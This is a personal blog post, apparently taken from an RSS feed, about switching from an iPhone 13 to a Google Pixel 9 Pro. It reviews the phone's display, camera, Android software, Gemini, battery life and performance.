<p>The main reason was freedom. My iPhone 13 worked well, but newer iPhones increasingly felt like devices I was allowed to use rather than devices I actually owned. I wanted to tinker with my phone, modify apps, and have more control over how the system behaved.</p>
<p>I had also grown tired of a few parts of iOS, particularly the small audio issues and the general feeling of being locked into Apple&#39;s ecosystem. Moving away from that was something I had wanted to do for a while.</p>
<h2>First impressions</h2>
<p>The Pixel immediately felt different from my iPhone 13. It feels premium without being too heavy, and the display was the first thing that really stood out. It is brighter, smoother, and noticeably nicer to use. The higher refresh rate makes almost everything feel more responsive.</p>
<p>The connected volume buttons took a little while to get used to, but that was a tiny adjustment compared with changing operating systems entirely.</p>
<h2>The camera</h2>
<p>The camera was one of the main reasons I chose the Pixel, and it absolutely lived up to its reputation. After taking a few hundred photos, the thing I appreciate most is its colour accuracy. Photos look close to what I saw in front of me without needing much adjustment, and Google&#39;s editing tools give me plenty of room to change things afterwards.</p>
<p>The amount of detail is also a huge step up from the iPhone 13&#39;s 12 MP camera. Portrait mode has been especially good, so here is the obvious test subject, my cat Simba :3</p>
<p><img src="https://aprl.pet/assets/pixel9procat.jpg" alt="Simba, my cat, photographed with the Pixel 9 Pro"></p>
<h2>The Android experience</h2>
<p>Coming from iOS, Android has been both exciting and slightly strange. Google&#39;s version feels clean and intuitive, without the bloat I had worried about. The themed icons work nicely, although I would still like more freedom around widgets and the home screen.</p>
<p>Gemini has been more useful than I expected. Its system integration means I can reach it from almost anywhere, and it has been considerably better at understanding requests and carrying out tasks than Siri ever was for me.</p>
<p>The biggest benefit is still how easy Android is to tinker with. Modifying apps and changing how the system behaves is far less painful than it was on iOS. That will not matter to everyone, but it matters a lot to me.</p>
<h2>Battery life and charging</h2>
<p>Battery life was one of my biggest concerns before switching. In practice, it has been excellent. I normally use my phone for six or seven hours each day for browsing, messaging, YouTube, Netflix, and Twitch, and I usually finish with around 30 to 40 per cent remaining.</p>
<p>Reverse charging is another feature I never had on my iPhone. Being able to help someone charge their phone in an awkward situation is genuinely useful.</p>
<h2>Performance</h2>
<p>I am not exactly a mobile power user, but I have had no meaningful performance problems. Multitasking is smooth, everyday tasks are fast, and the few issues I have encountered have seemed specific to individual apps rather than the phone itself.</p>
<h2>Final thoughts</h2>
<p>After several days with the Pixel 9 Pro, switching away from Apple already feels like the right decision. The display, camera, battery life, and general Android experience have all exceeded my expectations.</p>
<p>There is an adjustment period, but the extra freedom has made it worthwhile. If you are a long-time iPhone user who values photography, battery life, and being able to tinker with your own device, I would absolutely recommend trying one.</p>
<p>I will write another post after I have lived with it for longer. Thanks for reading! :3</p>
]]></content:encoded>
    </item>
  </channel>
</rss>
